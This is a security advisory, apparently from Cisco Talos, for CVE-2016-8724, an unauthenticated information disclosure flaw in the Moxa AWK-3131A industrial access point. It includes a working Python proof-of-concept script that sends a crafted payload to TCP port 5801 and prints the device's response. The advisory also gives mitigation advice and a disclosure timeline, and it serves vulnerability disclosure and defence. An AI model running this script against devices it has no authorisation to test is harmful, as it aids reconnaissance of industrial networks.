CVE-2016-8724
An exploitable information disclosure vulnerability exists in the serviceAgent functionality of Moxa AWK-3131A Wireless Access Point running firmware 1.1. A specially crafted TCP query will allow an attacker to retrieve potentially sensitive information.
Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client 1.1
http://www.moxa.com/product/AWK-3131A.htm
5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
An exploitable information disclosure vulnerability exists in the serviceAgent functionality of Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client. A specially crafted TCP query will allow an attacker to retrieve potentially sensitive information, such as firmware version.
The functionality exposed by serviceAgent is accessible by using a freely-available Windows application (Moxa Windows Search Utility) or with custom scripts. In addition, the service does not use authentication and the protocol communicates in cleartext.
The below Python script, using a payload pulled from traffic generated by the Moxa Windows Search Utility application, will retrieve information from a target device that may be of value to an attacker .
#!/usr/bin/python
import socket
host = '<device IP>'
port = 5801
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(
"\x00\x01\x00\x01\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x0c\x29\xd3\xe0\x26\x00\x90\xe8\x57\x23\x07" +
"\x00\x00\x00\x05\x00\x02\x00\x06\x00\x18\x00\x00\x00\x00")
print s.recv(1024)
s.close()
It does not appear possible to disable serviceAgent using legitimately accessible functionality. In addition, the service does not require authentication and transmits information in cleartext. Blocking this service from communicating across network boundaries will mitigate some of the risk associated with this vulnerability.
2016-11-18 - Vendor Disclosure
2017-04-10 - Public Release
Discovered by Patrick DeSantis of Cisco Talos.